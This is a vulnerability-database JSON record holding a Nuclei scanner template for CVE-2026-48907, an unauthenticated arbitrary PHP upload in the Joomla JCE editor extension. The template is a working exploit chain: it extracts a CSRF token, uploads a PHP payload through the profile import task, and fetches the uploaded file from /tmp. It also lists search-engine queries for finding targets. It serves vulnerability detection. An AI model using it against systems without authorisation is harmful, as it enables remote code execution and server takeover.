{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-48907/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-48907/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-48907/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-48907/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-48907/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-48907"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-48907"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-48907.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-48907\ninfo:\n  name: Joomla! JCE extension < 2.9.99.5 unauthenticated RCE\n  author: ywh-jfellus\n  severity: critical\n  description: |\n    Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full remote code execution on the server.\n  remediation: |\n    Update to the latest version of the JCE editor extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48907\n    - https://github.com/advisories/GHSA-c3f5-4g7f-qjqj\n    - https://www.joomlacontenteditor.net/support/changelog/editor\n    - https://github.com/ywh-jfellus/CVE-2026-48907\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-48907\n    epss-score: 0.781\n    epss-percentile: 0.99554\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlacontenteditor\n    product: jce\n    shodan-query: http.component:\"Joomla\"\n    fofa-query: app=\"Joomla\"\n  tags: cve,cve2026,joomla,jce,rce,unauth,intrusive,unauth,vkev,kev\n\nvariables:\n  payload: \"<?= 45*69 ?>\"\n  tmp_file: \"{{'nuclei-' + md5(Hostname + 'phuJ4OoP')}}.xml.php\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"Joomla\")'\n          - 'contains(body, \"csrf.token\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_jce HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=66dea244639dd05378afdad58c2c9c1d\n\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"task\"\n\n        profiles.import\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"{{csrf_token}}\"\n\n        1\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"profile_file\"; filename=\"{{tmp_file}}\"\n        Content-Type: application/xml\n\n        {{payload}}\n        --66dea244639dd05378afdad58c2c9c1d--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /tmp/{{tmp_file}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"3105\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220070dd5041d738e7b72a477a4c730240069216a37d13a064672064d9d6ded9896022100f761476be762dadedd972d383862edf5012902a4a602e9c8f06a737638b5622c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-48907"
}